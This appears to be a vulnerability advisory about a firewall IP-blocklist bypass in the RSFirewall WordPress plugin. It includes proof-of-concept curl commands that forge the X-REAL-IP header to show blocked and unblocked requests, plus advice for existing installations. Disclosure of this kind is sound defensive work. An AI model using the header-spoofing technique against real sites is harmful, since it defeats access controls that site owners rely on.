RSFirewall tries to identify the original IP address by looking at different HTTP headers. A bypass is possible due to the way it is implemented. Although it is fixed on version 1.1.25, the fix will only affect new installations. We recommend existing users to review the HTTP headers set for proper IP identification.
Go to https://example.com/wp-admin/post-new.php?post_type=rsf_lists Add 123.123.123.123 as IP Address and select Blocklist for the List Type. Submit the form. Blocked: curl -I -H 'X-REAL-IP: 123.123.123.123' -H 'User-Agent: Chrome' https://example.com Not blocked: curl -I -H 'X-REAL-IP: 123.123.123.124' -H 'User-Agent: Chrome' https://example.com
BYPASS
Daniel Ruf
Daniel Ruf
Yes
2022-04-13 (about 1 years ago)
2022-04-13 (about 1 years ago)
2022-04-18 (about 1 years ago)